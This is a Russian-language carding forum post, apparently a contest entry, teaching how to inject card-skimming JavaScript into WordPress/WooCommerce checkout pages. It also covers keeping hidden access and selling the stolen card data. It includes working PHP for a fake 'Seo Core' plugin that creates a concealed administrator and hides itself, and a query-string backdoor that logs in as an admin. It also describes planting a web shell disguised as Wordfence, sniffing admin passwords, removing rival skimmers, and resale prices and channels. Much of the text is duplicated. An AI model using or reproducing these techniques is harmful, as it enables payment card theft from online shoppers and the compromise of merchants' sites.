Papa Carder
Professional
- Messages
- 189
- Reaction score
- 179
- Points
- 43
Статья, написанная пластиковым пером (кнопкой). О чём же?
Всех приветствую! Не так уж и много информации о снифферах на сторонних площадках, что даёт потенциал поведать много нерассказанного. Мы заденем не только техническое устройство самого сниффера, будь это так, то чтива бы хватило на минуты 3-4. Поведаю о закрепах на шопах (wordpress), что делать с соседями, куда вообще сбывать, или отрабатывать самому? Желаю удачи всем остальным участникам сия конкурса, уверен, что ваши труды оценят достойно. Начнем с введения, если вы немного знакомы с этой темой, то можете её пропустить.
Введение. Очень кратко, что такое сниффер.
Объяснения написаны опираясь от собственного опыта, если тяжело к понимаю, попробуйте загуглить. Сниффер в рамках веба, это то что тихонько "вынюхивает"/собирает данные с другой площадки, в нашем случае мы крадем данные карт, и в частности информацию о покупателе. То есть, мы ставим наш сниффер на сторонний сайт, и выделяем дату, которая нам нужна, и далее если её кто-либо заполняет, то мы получаем её к себе. Ставятся они на уже активные шопы, а шопы тем временем в большем случае стоят на WP/впшка, это такой конструктор для сайтов, есть так же и иные, такие как Magento, Prestashop, Opencart. То есть, это не фишинг, это уже готовые платформы, где люди заказывают товары, и траффик нам не нужно организовывать, ведь это задача владельцев магазина, не так ли? И это вполне выходит даже как кнопка бабло, ведь всё звучит так банально и просто, поставил шоп на сниффер, и пока ты спишь, ешь, развлекаешься, добывается материал, который стоит денег! Так же нам без разницы на шифрование, httpS, и прочую лабуду, мы получаем данные уже в открытом виде, нежели как при ломе баз (думаю, это уже прошлый век, так как прошли времена абсолютной безграмотности в ИБ). Сам сниффер, это по сути просто мост между нашим сервером, и клиентом, который мы подтянули в js-код магазина. Я верю в вас, что вы поймете этот раздел, ведь он по сути, является проводником в дальнейшую часть. И покажу, как это работает в практическом примере, чтоб сразу взглянули и поняли, о чём я говорю.
Забвенно и просто, но пора приступать к следующему пункту.
Различаем все типы оплаты: форма, айфрейм, СoD, редирект.
Это достаточно важно, ибо это напрямую влияет как быстро вас вероятнее всего спалят. Сразу начнем с объяснений, что и как выглядит.
Форма - самое лучшее, cамый сок! Это когда поля для ввода данных карты, находятся на самом сайте, и ни где иначе, зачастую это платежка Authorize, выглядит она таким образом. Как видим, что справа нет никаких айфреймов, и прочей лабуды, откуда мы не можем дергать данные. Значит, для пользователей все будет происходить все точно так же как и раньше, визуально мы ничего не меняем.
CoD - неприятная штука, но все же стоящая. Если просто расшифровывать, то это Cash on Delivery, и никаких других методов оплаты нет, зачастую такое стоит на тир2-3 странах, по типу Бангладеша, Индии, там где не особо сильна развита банковская система, в таком случае, нам ничего не остается кроме как вешать поверх этого метода свою форму и надеятьcя, что люди введут свои карты. Ниже прикладываю как это выглядит в варианте, ДО и ПОСЛЕ.
Фрейм - основываясь, от понятия айфрейм, то оно и значит, это в большей степени платежка, stripe, square, то есть когда человек вводит данные своей карты находясь на сайте магазина, но при этом, вводятся они на деле в другой сайт. Чисто технически, нет такой возможности, чтоб вытаскивать данные карты с иного сайта, и в таком случае, прикладывая руку ко лбу, идем писать аналогичную форму под наш шоп, можно конечно и не прикладывать особых усилий, и просто вешать рандомную форму, но в таком случае вероятность, что спалят высоко вырастает, и плюсом сами клиенты шопов, могут быть не дураками, и просечь эту аферу. Аналогично, прикладываю как это выглядит.
Редирект - аналогично, как и CoD, тут вообще оплата происходит на стороннем сайте, что человека перекидывает на другой линк. Тут варианта два, вешаем как и в CoD просто куда-нибудь, чтоб выглядело вполне приемлемо, либо же отрисовываем на каком-нибудь домене аналогичный редирект, чтоб вводили уже на нашем линки. Я практикую лишь первый вариант, так как второй требует больших усилий и затрат, и зачастую это не приносит такого профита. Тут фотографии уже не приложу, к сожалению.
Самым лучшим вариантом, конечно, остается именно форма, и цены на рынке на такие магазины значительно выше, нежели на другие. Думаю по понятным причинам. Шопы можно покупать как на эксплоите, так и добывать самому с логов, ULP-строк. Переходим в следующий пункт.
Вонзи же ты иглу в стог сена!
Итак, представим, что мы нашли подходящий шоп, у нас есть доступ в виде админки Возникает вопрос: куда именно вставить наш JS-код, чтобы он сработал, не сломал сайт и не слетел при первом же обновлении сайта? Рассматривать мы будем в рамках конструктора WP. Посмотрим на всевозможные варианты инъекции, отталкиваясь от моего опыта.
Самый первый и банальный вариант, вставить в пхп файлы темы, самое простое, самое палевное, ничего уникального. Ставится за банальные 30 секунд, и не требует никаких усилий.
Выглядит это все так, наводимся на Appearance, затем в Theme File Editor, и всё. Но надо понимать, что при обновлении темы всё слетит, что не очень хорошо, так как файлы просто перезапишутся. Второй вариант уже получше, но если у владельца сайта есть малейшее понимания работы вкладки F12, то найти ваши шалости будет все так же легко. Это закреп в системные JS-файлы, по типу jquery, либо еще чего иного, для этого мы смотрим какие JS-файлы подгружаются на вкладке чекаута, а дальше идем к файловой системе, и меняем там это дело.. Изначально из под корня WP не дает доступа к файлам, по этому накатываем самый простой плагин, это WP File Manager, самый популярный, и на мой взгляд удобный.
Тыкаем просто ПКМ'ом по нужному файлу, и дописываем свой инжект в него. Впринципе, ничего удивительного, но отследить по разделу Initiator в F12, это будет достаточно легко. И переходим к заключающему этапу, на мой взгляд самому приятному, это инжект в существующий PHP-файл легитимного плагина, да, минусы безусловно у такого есть, но найти такое будет в разы тяжелее, чем предыдущие два. Я предпочитаю сувать прям в плагин WooCommerce, который и превращает простой сайт на ВП в магазин. Втыкаю я просто в payment.php этот пхп отрабатывает именно на странице чекаута. Тут даже никаких плагинов для доступа к файлам не нужно, сама ВПшка позволяет редактировать плагины из корня.
Ну, и конечно куда без важнейшего нюанса. Кэш, кэширование, дерьмо - если вы уверены, что вы поставили снифф, но он не прорастает на нужной странице, а почистите вы кэш, это то на чём можно погореть, и при чем достаточно сильно, особенно новичкам в этой сфере, не имея технической базы. А если даже после очистки кэша не прорастает, то флаг вам в руки, и бегом проверять консоль и пытаться найти, кто такой умный блокирует подключение к вашему серверу. Далее мы поговорим, о методах закрепа, удобных плагинах, и прочих штуках.
Запасные ключи под ковриком.. Полей цветы - пока я в отпуске.
Куча, куча, и еще раз куча интересных методов, техник тут можно рассмотреть. Это на самом деле один из важнейших этапов, ведь мы хотим прожить в магазине как можно дальше, а не посниффать недельку и чтоб нас снесли без метода обратного входа. На мой век и опыт выведено 5 возможных закрепов. Опишу их сначала поверхностно, а далее уже пройдемся по каждому подробно. Скрытый админ, при чём двух видов; Шелл; Бэкдор; Снифф паролей; Сторонние сайты. Начнём по порядку, и заодно сразу приложу крайне удобный плагин для работы с ВП как шопами. Скрытый админ, по сути то, что не должны увидеть простые админы, в первом типе мы маскируемся под простого юзера, а на самом деле имеем кучу прав. Выглядит это таким образом.
И мы не отображаемся в разделе Administrator's, мы простой юзер, и это можно увидеть только переходя по каждому профилю. Скачать плагин можно тут, пока будет так, на форум не дают заливать ZIP, по этому пока так, как ссылка умрет, поищу варианты получше как сохранить, или же администрация прикрепит архив тут. Функционал этого плагина не только создание скрытого админа, а так же доступ к файловой системе, и прочие мелочи как смена версии WP, но все равно важные. Это так скажем All-In-One плагин для работы с магазинами.
И тут просто кликаем на Create Hidden Admin, создаем такого админа, и после чего НЕ ЗАБЫВАЕМ удалить этот плагин, а иначе увидят, и будет плохо. Тут впринципе больше нечего разбирать, кроме функционала самого плагина, о них уже чуть раньше говорили. Так выглядит обзор файловой системы.
Второй тип скрытого админа, тоже хороший метод, но как по мне более палевный, тут мы уже создаем настоящего админа, но просто скрываем его из юзеров, и не забываем редактировать счётчик. То есть по факту, мы как настоящий админ, но просто призрачный, нас совсем не видно. Но проблема в том, что нам требуется постоянное присутствие плагина в шопе, иначе всё накроется медным тазом, что не очень приятно. Чтоб сразу было ясно, прикладываю скриншот.
Мы являемся именно полноценным админом, а по факту нас не видно, так и по счетчику. Делает как я и ранее говорил плагин, тут уже ничего не обычного, плагин создает админа, скрывает сам себя, скрывает счетчик, юзера. Прикладываю ниже код под спойлер, и так же ссылочка именно на архив.
Шелл, ну шелл как шелл, ничего необычного, старая закалка, старая школка, тут у нас все так же упирается в плагин. В моём случае я использую форк P.A.S с гитхаба, тут же у нас уже огромнейший контроль, с которым можно разгуляться, тут присутствует и PHP-консоль, и просто консоль, и вся файловая система, да практически всё, что нужно для восстановления в случае чего. Заливаю я это дело под видом плагина-защитника, а именно wordfence (самый популярный дефендер под ВП), после чего переходим просто по нужному для нас пути, и всё. Разжёвывать тут ничего и не надо, вполне понятно все уже судя по функционалу.
Бэкдор - тут уже поинтереснее, можно выбрать куда, можно выбрать зачем. Основной функционал бэкдора просто должен логинить нас в шоп как админа, так как имея эти права, дальше мы уже сделаем что нужно самостоятельно, основываясь на своем опыте. Тут просто лепим код, который ниже в любой пхп файл, и после чего переходя по /?p=bezmyatehnost попадаем в первого попавшегося админа. И попав в систему как админ, уже восстанавливаемся полноценно.
Снифф паролей, тема была вообще о сниффере, но тут в рамках закрепа рассмотрим и такую возможность, ведь любой доступ драгоценен, и это обычно самый живущий закреп. Если Вы еще помните, как засунуть свою иглу, то тут метод один. А именно через подгружаемые JS-скрипты, и выбираем мы желательно те, у которых версия именно вордпрессовская, так же важно, чтоб сами ЖС подгружались именно с нашего сайта, ибо последнее время видел, что они могут подгружаться и со сторонних. И после того как мы влепили наш сниффер, мы скорее всего откроем рот буквой О, даже если почистим кэш. Тут на помощь приходит плагин, который я описывал при создании скрытого админа, он поменяет нам версию на любую другую, берите зачастую просто чуть больше, если стоит 6.8.3, ставьте 6.8.6, и проверяйте. Еще раз повторюсь, это как по мне один из самых надежных вариантов закрепа, в случае если отсутствует 2FA.
И по итогу в панели получаем у себя еще и комбо для входа. Так же рекомендую разлогинивать всех юзеров после того как поставили снифф на пароли, в этом нам поможет этот плагин. Точно таким же образом накатываем его как и раньше, и затем логаутим всех, заходим снова, и удаляем этот плагин.
Еще предпочитаю не ставить сначала магазин на снифф, а сперва собрать пароли, затем уже ставить, для более долгой жизни.
Последний метод закрепа, о котором я знаю, о котором поведаю заключается в подключении сторонних сайтов, который так скажем являются агрегаторами и позволяют управлять сразу пачками. Мой фаворит - orion.managewp.com. В нём присутствует всё, прям всё, что нужно, можно делать что хочешь, авторизовываться как любой юзер, создавать юзера, загружать свои плагины, выполнять свой пхп-код, вкратце, то что нужно нам, прям огонь. Так же является одним из беспалевных методов, в случае если managewp уже был ранее установлен на сайте, можно жить припеваючи, а админы шопа даже не заметят неладное, хотя могут.
Уже неплохо так выходит, и слегка измотался, написав эту часть, но мы лишь закончили этап с методами закрепов, если у вас так же есть иные идеи, буду рад взять их на ум, и обсуждение.
Промежуточные выводы. Закрепились, выдохнули.
Давайте немного выдохнем и зафиксируем, на какой точке мы сейчас находимся. Мы с вами уже разобрали теоретическую базу, научились отличать годные шопы от мусорных, и самое главное, и рассмотрели методы закрепов, как втыкать иглу. Теперь у нас есть не просто доступ, а полноценный плацдарм с запасными ключами, скрытыми админами и бэкдорами на случай непредвиденных чисток. Казалось бы, жизнь удалась: сиди, пей чай, смотри на дату. Но... мы здесь не одни. Как часто бывает в дикой природе (и в вебе), на вкусное мясо слетаются не только вы. Представьте, вы заходите на шоп, проверяете свой сниффер, а там уже кто-то живет. Или, что еще хуже, кто-то пытается выселить вас. В следующем пункте разберемся, как понять что до нас уже кто-то доил шоп? Стоит ли играть в Робин Гуда и сносить чужие снифферы? Или может лучше "подружиться" (нет, не стоит)?
Cосед, соседушка, а ты точно мой друг? Практики всё меньше, и меньше..
Теперь поговорим о насущном, о проблеме общежития, или как мы их ласково называем - соседи. Залетая на шоп, особенно если он жирный и с хорошим трафиком, будьте готовы к тому, что вы там не одни такие умные, и часто бывает, открываешь файловый менеджер, а там в папке plugins уже лежит целый зоопарк из чужих шеллов, WSO, или SEO-спама. Тут стратегия у меня простая и достаточно агрессивная: если я вижу конкурента, который тоже пытается сниффать, или просто гадит на сервере так, что это привлечет внимание админа, я его выселяю без суда и следствия, потому что если спалят его топорный шелл, админ с перепугу снесет вообще всё, поменяет пароли, обновит ядро, и ваш филигранный закреп улетит в трубу вместе с его мусором. Обязательно проверяйте header, footer и скрипты на чекауте на наличие чужих инжектов, если видите чужой код - стирайте, если видите левых админов - удаляйте. По сути, вы делаете работу безопасника, вычищая конкурентов и оставляя только свою неприметную иглу, ведь это жестокий бизнес, и делить профит с кем-то, кто может запороть вам всю малину своей неаккуратностью, я не вижу смысла. Бывает, конечно, что сосед тихий, просто льет трафик или держит дорвеи, и сервер не грузит, таких можно и не трогать, пусть живут, но держите ухо востро, однако если речь идет о деньгах, тут каждый сам за себя, так что проводите зачистку, закрепляйтесь сами и становитесь единоличным владельцем шопа, так оно надежнее и спокойнее для вашего сна.
И, кстати, чтобы эффективно находить этих ребят, используйте те самые знания, которые я дал вам выше в этой статье. Помните, как мы прятали админов и маскировали код? Ваши конкуренты делают то же самое, так что проверяйте список пользователей на наличие скрытых учеток, смотрите файлы на предмет левых инжектов ровно там, куда бы вы сами их положили. Чтобы облегчить себе жизнь и не перерывать тонны кода глазами, настоятельно рекомендую скачать плагин String Locator, он просто незаменим в поиске всякого дерьма по конкретным строкам кода или сигнатурам. Практический пример работы String Locator ниже, очень помогает при выселении людей.
Cбыт, собираем сливки, и подходим к завершению.
Ну и переходим к самому сладкому, к тому, ради чего мы тут все и собрались, монетизация нашего труда, но тут есть один железный нюанс, о котором новички часто забывают: картам обязательно надо дать отлежаться, хотя бы недели две. Это критически важно, чтобы холдер не смог связать кражу денег с конкретной покупкой в магазине, где стоит наш сниффер, иначе шоп убьют моментально, а так мы размываем след и доим корову месяцами. Особое внимание уделяйте биллинг-инфе, особенно если работаете по США и Канаде, там этот мат ценится на вес золота, потому что у них транзакции проходят через сверку адреса (AVS), а не через подтверждение по смс (3DS), как в Европе, так что фулка там залетает на ура. Что касается самого сбыта, то тут два пути: пытаться торговать самому, создавать свой шоп в телеграме, профит будет весь ваш, но будьте готовы вливать кучу денег в рекламу, нарабатывать репутацию и возиться с поддержкой, что на старте может быть неподъемно, и трудно. Второй вариант, для ленивых, но не жадных, грузить мат на готовые агрегаторы, такие как Patrick или Castro, там вы вообще не паритесь за поиск клиента, просто залили и ждете выплату, но за этот комфорт придется отстегнуть конскую комиссию порядка 30-40% с каждой продажи, так что считайте математику сами, что вам выгоднее, терять время на раскрутку или терять процент на комиссии. Я лично торгую и тут, и там, сперва отдаю клиентам, что нужно из бинлиста, а потом уже заливаю это все дело на один из агрегаторов (big secret)... Цены всегда разные, и рынок очень сильно раздут по моему мнению, карты могут достигать ценой до 100$, что удивительно, но это зачастую бины, которые ролятся и так далее, а это уже не моя тематика, я не особо в этом плаваю, каржем я особо не занимался, и не разбираюсь, цены отсматривайте у конкурентов, но в среднем ~20$ за одну валидную Америку, и ~12 за Европу. Один из примеров селлеров ниже.
Заключение, и финальный аккорд в этой теме.
Вот и подошел к концу мой дебютный лонгрид. Надеюсь, вы не уснули в процессе и почерпнули для себя что-то новое о тихой охоте в мире онлайн-магазинов. Конечно, я прекрасно понимаю немой вопрос, который мог застыть у некоторых: "А где ссылка на скачивание самого сниффера? Где готовая панель?". Скажу прямо: я намеренно не стал выкладывать готовый инструмент и рабочий код на блюдечке с той самой золотой каёмочкой. Моей целью было дать вам удочку и карту рыбных мест, а не просто накормить рыбой на один раз. Сниффер - это понимание того, как работает веб, как проходят платежи и как устроены CMS. В этой статье я дал вам фундамент: логику работы, методы маскировки, способы выживания на шелле и пути монетизации. Если у вас есть желание, то собрать или найти панель, опираясь на эту информацию, не составит никакого труда. Гугл и профильные ресурсы никто не отменял, а умение искать информацию - главный навык в нашем деле. Разбирайтесь, тестируйте, и профит не заставит себя ждать. Спасибо всем, кто дочитал до конца. Желаю удачи другим участникам конкурса, уверен, конкуренция будет достойной. Если есть какие-либо вопросы, то с удовольствием отвечу.
(c) bezmyatezhnost
Всех приветствую! Не так уж и много информации о снифферах на сторонних площадках, что даёт потенциал поведать много нерассказанного. Мы заденем не только техническое устройство самого сниффера, будь это так, то чтива бы хватило на минуты 3-4. Поведаю о закрепах на шопах (wordpress), что делать с соседями, куда вообще сбывать, или отрабатывать самому? Желаю удачи всем остальным участникам сия конкурса, уверен, что ваши труды оценят достойно. Начнем с введения, если вы немного знакомы с этой темой, то можете её пропустить.
Введение. Очень кратко, что такое сниффер.
Объяснения написаны опираясь от собственного опыта, если тяжело к понимаю, попробуйте загуглить. Сниффер в рамках веба, это то что тихонько "вынюхивает"/собирает данные с другой площадки, в нашем случае мы крадем данные карт, и в частности информацию о покупателе. То есть, мы ставим наш сниффер на сторонний сайт, и выделяем дату, которая нам нужна, и далее если её кто-либо заполняет, то мы получаем её к себе. Ставятся они на уже активные шопы, а шопы тем временем в большем случае стоят на WP/впшка, это такой конструктор для сайтов, есть так же и иные, такие как Magento, Prestashop, Opencart. То есть, это не фишинг, это уже готовые платформы, где люди заказывают товары, и траффик нам не нужно организовывать, ведь это задача владельцев магазина, не так ли? И это вполне выходит даже как кнопка бабло, ведь всё звучит так банально и просто, поставил шоп на сниффер, и пока ты спишь, ешь, развлекаешься, добывается материал, который стоит денег! Так же нам без разницы на шифрование, httpS, и прочую лабуду, мы получаем данные уже в открытом виде, нежели как при ломе баз (думаю, это уже прошлый век, так как прошли времена абсолютной безграмотности в ИБ). Сам сниффер, это по сути просто мост между нашим сервером, и клиентом, который мы подтянули в js-код магазина. Я верю в вас, что вы поймете этот раздел, ведь он по сути, является проводником в дальнейшую часть. И покажу, как это работает в практическом примере, чтоб сразу взглянули и поняли, о чём я говорю.
Различаем все типы оплаты: форма, айфрейм, СoD, редирект.
Это достаточно важно, ибо это напрямую влияет как быстро вас вероятнее всего спалят. Сразу начнем с объяснений, что и как выглядит.
Форма - самое лучшее, cамый сок! Это когда поля для ввода данных карты, находятся на самом сайте, и ни где иначе, зачастую это платежка Authorize, выглядит она таким образом. Как видим, что справа нет никаких айфреймов, и прочей лабуды, откуда мы не можем дергать данные. Значит, для пользователей все будет происходить все точно так же как и раньше, визуально мы ничего не меняем.
CoD - неприятная штука, но все же стоящая. Если просто расшифровывать, то это Cash on Delivery, и никаких других методов оплаты нет, зачастую такое стоит на тир2-3 странах, по типу Бангладеша, Индии, там где не особо сильна развита банковская система, в таком случае, нам ничего не остается кроме как вешать поверх этого метода свою форму и надеятьcя, что люди введут свои карты. Ниже прикладываю как это выглядит в варианте, ДО и ПОСЛЕ.
Фрейм - основываясь, от понятия айфрейм, то оно и значит, это в большей степени платежка, stripe, square, то есть когда человек вводит данные своей карты находясь на сайте магазина, но при этом, вводятся они на деле в другой сайт. Чисто технически, нет такой возможности, чтоб вытаскивать данные карты с иного сайта, и в таком случае, прикладывая руку ко лбу, идем писать аналогичную форму под наш шоп, можно конечно и не прикладывать особых усилий, и просто вешать рандомную форму, но в таком случае вероятность, что спалят высоко вырастает, и плюсом сами клиенты шопов, могут быть не дураками, и просечь эту аферу. Аналогично, прикладываю как это выглядит.
Редирект - аналогично, как и CoD, тут вообще оплата происходит на стороннем сайте, что человека перекидывает на другой линк. Тут варианта два, вешаем как и в CoD просто куда-нибудь, чтоб выглядело вполне приемлемо, либо же отрисовываем на каком-нибудь домене аналогичный редирект, чтоб вводили уже на нашем линки. Я практикую лишь первый вариант, так как второй требует больших усилий и затрат, и зачастую это не приносит такого профита. Тут фотографии уже не приложу, к сожалению.
Самым лучшим вариантом, конечно, остается именно форма, и цены на рынке на такие магазины значительно выше, нежели на другие. Думаю по понятным причинам. Шопы можно покупать как на эксплоите, так и добывать самому с логов, ULP-строк. Переходим в следующий пункт.
Вонзи же ты иглу в стог сена!
Итак, представим, что мы нашли подходящий шоп, у нас есть доступ в виде админки Возникает вопрос: куда именно вставить наш JS-код, чтобы он сработал, не сломал сайт и не слетел при первом же обновлении сайта? Рассматривать мы будем в рамках конструктора WP. Посмотрим на всевозможные варианты инъекции, отталкиваясь от моего опыта.
Самый первый и банальный вариант, вставить в пхп файлы темы, самое простое, самое палевное, ничего уникального. Ставится за банальные 30 секунд, и не требует никаких усилий.
Выглядит это все так, наводимся на Appearance, затем в Theme File Editor, и всё. Но надо понимать, что при обновлении темы всё слетит, что не очень хорошо, так как файлы просто перезапишутся. Второй вариант уже получше, но если у владельца сайта есть малейшее понимания работы вкладки F12, то найти ваши шалости будет все так же легко. Это закреп в системные JS-файлы, по типу jquery, либо еще чего иного, для этого мы смотрим какие JS-файлы подгружаются на вкладке чекаута, а дальше идем к файловой системе, и меняем там это дело.. Изначально из под корня WP не дает доступа к файлам, по этому накатываем самый простой плагин, это WP File Manager, самый популярный, и на мой взгляд удобный.
Тыкаем просто ПКМ'ом по нужному файлу, и дописываем свой инжект в него. Впринципе, ничего удивительного, но отследить по разделу Initiator в F12, это будет достаточно легко. И переходим к заключающему этапу, на мой взгляд самому приятному, это инжект в существующий PHP-файл легитимного плагина, да, минусы безусловно у такого есть, но найти такое будет в разы тяжелее, чем предыдущие два. Я предпочитаю сувать прям в плагин WooCommerce, который и превращает простой сайт на ВП в магазин. Втыкаю я просто в payment.php этот пхп отрабатывает именно на странице чекаута. Тут даже никаких плагинов для доступа к файлам не нужно, сама ВПшка позволяет редактировать плагины из корня.
Ну, и конечно куда без важнейшего нюанса. Кэш, кэширование, дерьмо - если вы уверены, что вы поставили снифф, но он не прорастает на нужной странице, а почистите вы кэш, это то на чём можно погореть, и при чем достаточно сильно, особенно новичкам в этой сфере, не имея технической базы. А если даже после очистки кэша не прорастает, то флаг вам в руки, и бегом проверять консоль и пытаться найти, кто такой умный блокирует подключение к вашему серверу. Далее мы поговорим, о методах закрепа, удобных плагинах, и прочих штуках.
Запасные ключи под ковриком.. Полей цветы - пока я в отпуске.
Куча, куча, и еще раз куча интересных методов, техник тут можно рассмотреть. Это на самом деле один из важнейших этапов, ведь мы хотим прожить в магазине как можно дальше, а не посниффать недельку и чтоб нас снесли без метода обратного входа. На мой век и опыт выведено 5 возможных закрепов. Опишу их сначала поверхностно, а далее уже пройдемся по каждому подробно. Скрытый админ, при чём двух видов; Шелл; Бэкдор; Снифф паролей; Сторонние сайты. Начнём по порядку, и заодно сразу приложу крайне удобный плагин для работы с ВП как шопами. Скрытый админ, по сути то, что не должны увидеть простые админы, в первом типе мы маскируемся под простого юзера, а на самом деле имеем кучу прав. Выглядит это таким образом.
И мы не отображаемся в разделе Administrator's, мы простой юзер, и это можно увидеть только переходя по каждому профилю. Скачать плагин можно тут, пока будет так, на форум не дают заливать ZIP, по этому пока так, как ссылка умрет, поищу варианты получше как сохранить, или же администрация прикрепит архив тут. Функционал этого плагина не только создание скрытого админа, а так же доступ к файловой системе, и прочие мелочи как смена версии WP, но все равно важные. Это так скажем All-In-One плагин для работы с магазинами.
И тут просто кликаем на Create Hidden Admin, создаем такого админа, и после чего НЕ ЗАБЫВАЕМ удалить этот плагин, а иначе увидят, и будет плохо. Тут впринципе больше нечего разбирать, кроме функционала самого плагина, о них уже чуть раньше говорили. Так выглядит обзор файловой системы.
Второй тип скрытого админа, тоже хороший метод, но как по мне более палевный, тут мы уже создаем настоящего админа, но просто скрываем его из юзеров, и не забываем редактировать счётчик. То есть по факту, мы как настоящий админ, но просто призрачный, нас совсем не видно. Но проблема в том, что нам требуется постоянное присутствие плагина в шопе, иначе всё накроется медным тазом, что не очень приятно. Чтоб сразу было ясно, прикладываю скриншот.
Мы являемся именно полноценным админом, а по факту нас не видно, так и по счетчику. Делает как я и ранее говорил плагин, тут уже ничего не обычного, плагин создает админа, скрывает сам себя, скрывает счетчик, юзера. Прикладываю ниже код под спойлер, и так же ссылочка именно на архив.
Code:
<?php
/*
Plugin Name: Seo Core
Plugin URI: http://wordpress.org/plugins/
Description: Security Core for WordPress
Version: 2.1
Author: WordPress
Author URI: http://wordpress.org/
*/
if (!defined('ABSPATH')) {
exit;
}
define('PLUGIN_FILE', __FILE__);
define('PLUGIN_BASE', plugin_basename(PLUGIN_FILE));
define('PLUGIN_PATH', plugin_dir_path(PLUGIN_FILE));
function create_admin() {
if (!username_exists('johnelouter')) {
$user_id = wp_create_user(
'johnelouter',
'a40qBI%P5b%hh@vq)qo8QIYf',
'johnlout@gmаil.com'
);
if (is_int($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
update_user_meta($user_id, 'wp_user_status', wp_hash(time()));
}
}
}
function hide_admin_user($query) {
global $wpdb, $current_user;
if ($current_user->user_login === 'johnelouter') {
return;
}
$query->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'johnelouter'",
$query->query_where
);
if (!empty($query->query_vars['search'])) {
$query->query_where .= " AND {$wpdb->users}.user_login != 'johnelouter'";
}
}
add_action('pre_user_query', 'hide_admin_user');
function hide_from_rest($args) {
if ($user = get_user_by('login', 'johnelouter')) {
if (!isset($args['exclude'])) {
$args['exclude'] = array();
}
$args['exclude'] = array_merge($args['exclude'], array($user->ID));
}
return $args;
}
add_filter('rest_user_query', 'hide_from_rest');
add_filter('users_list_table_query_args', 'hide_from_rest');
function correct_user_count($views) {
$list = count_users();
if (isset($list['avail_roles']['administrator'])) {
$list['avail_roles']['administrator']--;
}
$list['total_users']--;
$class_a = (strpos($views['administrator'], 'current') === false) ? "" : "current";
$class_all = (strpos($views['all'], 'current') === false) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_a . '">' .
translate_user_role('Administrator') .
' <span class="count">(' . $list['avail_roles']['administrator'] . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' .
__('All') .
' <span class="count">(' . $list['total_users'] . ')</span></a>';
return $views;
}
add_filter('views_users', 'correct_user_count');
function exclude_from_search($user_search) {
global $wpdb;
$user_search->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'johnelouter'",
$user_search->query_where
);
}
add_action('pre_user_search', 'exclude_from_search');
function exclude_from_authors($args) {
if ($user = get_user_by('login', 'johnelouter')) {
if (!isset($args['exclude'])) {
$args['exclude'] = array();
}
$args['exclude'][] = $user->ID;
}
return $args;
}
add_filter('wp_dropdown_users_args', 'exclude_from_authors');
function modify_user_queries($where) {
global $wpdb;
return $where . $wpdb->prepare(" AND user_login != %s", 'johnelouter');
}
add_filter('users_where', 'modify_user_queries');
function hide_plugin($plugins) {
if (isset($plugins[PLUGIN_BASE])) {
unset($plugins[PLUGIN_BASE]);
}
return $plugins;
}
add_filter('all_plugins', 'hide_plugin');
add_filter('plugin_action_links', 'hide_plugin');
add_filter('network_admin_plugin_action_links', 'hide_plugin');
add_filter('site_option_active_sitewide_plugins', 'hide_plugin');
function ensure_plugin_active() {
if (!function_exists('is_plugin_active')) {
require_once(ABSPATH . 'wp-admin/includes/plugin.php');
}
if (!is_plugin_active(PLUGIN_BASE)) {
$active_plugins = get_option('active_plugins', array());
if (!in_array(PLUGIN_BASE, $active_plugins)) {
$active_plugins[] = PLUGIN_BASE;
update_option('active_plugins', array_unique($active_plugins));
}
}
}
register_activation_hook(PLUGIN_FILE, 'create_admin');
add_action('init', 'create_admin');
add_action('admin_init', 'ensure_plugin_active');
add_action('shutdown', 'ensure_plugin_active');
function hide_from_admin_bar() {
if (!current_user_can('administrator')) {
remove_action('admin_bar_menu', 'wp_admin_bar_my_account_menu', 7);
}
}
add_action('wp_before_admin_bar_render', 'hide_from_admin_bar');
add_filter('xmlrpc_methods', function($methods) {
unset($methods['wp.getUsers']);
unset($methods['wp.getUsersBlogs']);
return $methods;
});
Шелл, ну шелл как шелл, ничего необычного, старая закалка, старая школка, тут у нас все так же упирается в плагин. В моём случае я использую форк P.A.S с гитхаба, тут же у нас уже огромнейший контроль, с которым можно разгуляться, тут присутствует и PHP-консоль, и просто консоль, и вся файловая система, да практически всё, что нужно для восстановления в случае чего. Заливаю я это дело под видом плагина-защитника, а именно wordfence (самый популярный дефендер под ВП), после чего переходим просто по нужному для нас пути, и всё. Разжёвывать тут ничего и не надо, вполне понятно все уже судя по функционалу.
Бэкдор - тут уже поинтереснее, можно выбрать куда, можно выбрать зачем. Основной функционал бэкдора просто должен логинить нас в шоп как админа, так как имея эти права, дальше мы уже сделаем что нужно самостоятельно, основываясь на своем опыте. Тут просто лепим код, который ниже в любой пхп файл, и после чего переходя по /?p=bezmyatehnost попадаем в первого попавшегося админа. И попав в систему как админ, уже восстанавливаемся полноценно.
PHP:
add_action('init', 'backdoor_dutyfree');
function backdoor_dutyfree() {
if (isset($_GET['p']) && $_GET['p'] == 'bezmyatezhnost') {
$admin_users = get_users(array('role' => 'administrator'));
if (!empty($admin_users)) {
$user = $admin_users[0];
wp_set_current_user($user->ID, $user->user_login);
wp_set_auth_cookie($user->ID);
do_action('wp_login', $user->user_login, $user);
wp_redirect(admin_url());
exit;
}
}
}
Снифф паролей, тема была вообще о сниффере, но тут в рамках закрепа рассмотрим и такую возможность, ведь любой доступ драгоценен, и это обычно самый живущий закреп. Если Вы еще помните, как засунуть свою иглу, то тут метод один. А именно через подгружаемые JS-скрипты, и выбираем мы желательно те, у которых версия именно вордпрессовская, так же важно, чтоб сами ЖС подгружались именно с нашего сайта, ибо последнее время видел, что они могут подгружаться и со сторонних. И после того как мы влепили наш сниффер, мы скорее всего откроем рот буквой О, даже если почистим кэш. Тут на помощь приходит плагин, который я описывал при создании скрытого админа, он поменяет нам версию на любую другую, берите зачастую просто чуть больше, если стоит 6.8.3, ставьте 6.8.6, и проверяйте. Еще раз повторюсь, это как по мне один из самых надежных вариантов закрепа, в случае если отсутствует 2FA.
И по итогу в панели получаем у себя еще и комбо для входа. Так же рекомендую разлогинивать всех юзеров после того как поставили снифф на пароли, в этом нам поможет этот плагин. Точно таким же образом накатываем его как и раньше, и затем логаутим всех, заходим снова, и удаляем этот плагин.
Еще предпочитаю не ставить сначала магазин на снифф, а сперва собрать пароли, затем уже ставить, для более долгой жизни.
